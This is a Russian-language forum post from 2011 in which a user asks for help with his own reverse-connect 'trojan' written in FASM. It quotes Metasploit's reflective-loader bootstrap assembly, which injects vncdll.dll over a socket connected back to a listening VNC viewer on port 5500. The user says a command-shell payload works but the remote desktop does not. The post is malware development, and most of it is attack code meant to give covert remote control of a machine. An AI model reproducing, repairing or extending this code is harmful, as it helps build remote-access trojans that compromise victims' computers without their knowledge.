Revers connect ReflactiveLoader vncdll.dll

Тема в разделе "WASM.NETWORKS", создана пользователем Aku, 27 янв 2011.

  1. Aku

    Aku New Member

    Публикаций:
    0
    Регистрация:
    20 янв 2010
    Сообщения:
    1
    Доброго времени суток.
    Возникла проблема при запуске реверс vnc, а именно в работе троя(если конечно его так можно назвать).
    Написан на fasm конечно, ф-я connect срабатывает четко, подключается к порту 5500 vncviewer в режиме listen, потом выполняется код bootstrap
    Код (Text):
    1. dec ebp ; M
    2. pop edx ; Z
    3. call 0 ; call next instruction
    4. pop ebx ; get our location (+7)
    5. push edx ; push edx back
    6. inc ebp ; restore ebp
    7. push ebp ; save ebp
    8. mov ebp, esp ; setup fresh stack frame
    9. add ebx, 0x???????? ; add offset to ReflectiveLoader<---Тут у меня тоже правильный адрес
    10. call ebx ; call ReflectiveLoader<----------Тут вернуло адрес DllMain в eax
    11. mov ebx, eax ; save DllMain for second call
    12. push edi ; our socket<---------------------------------Тут мой сокет по которому трой приконектился к 5500 порту vncviewer
    13. push 0x4 ; signal we have attached
    14. push eax ; some value for hinstance
    15. call eax ; call DllMain( somevalue,DLL_METASPLOIT_ATTACH, socket )
    16. push 0x???????? ; our EXITFUNC placeholder
    17. push 0x5 ; signal we have detached
    18. push eax ; some value for hinstance
    19. call ebx ; call DllMain( somevalue,DLL_METASPLOIT_DETACH, exitfunk )
    20. ; we only return if we don't set a valid EXITFUNC
    В netstat -b -a есть соединение статус ESTABLISHED, а самого интересного(рабочего стола) нет ! Причем цмды шел вместо этого bootstrap работает четко.
    Кто нибудь пробовал юзать vncdll.dll из metasploit в своих прогах?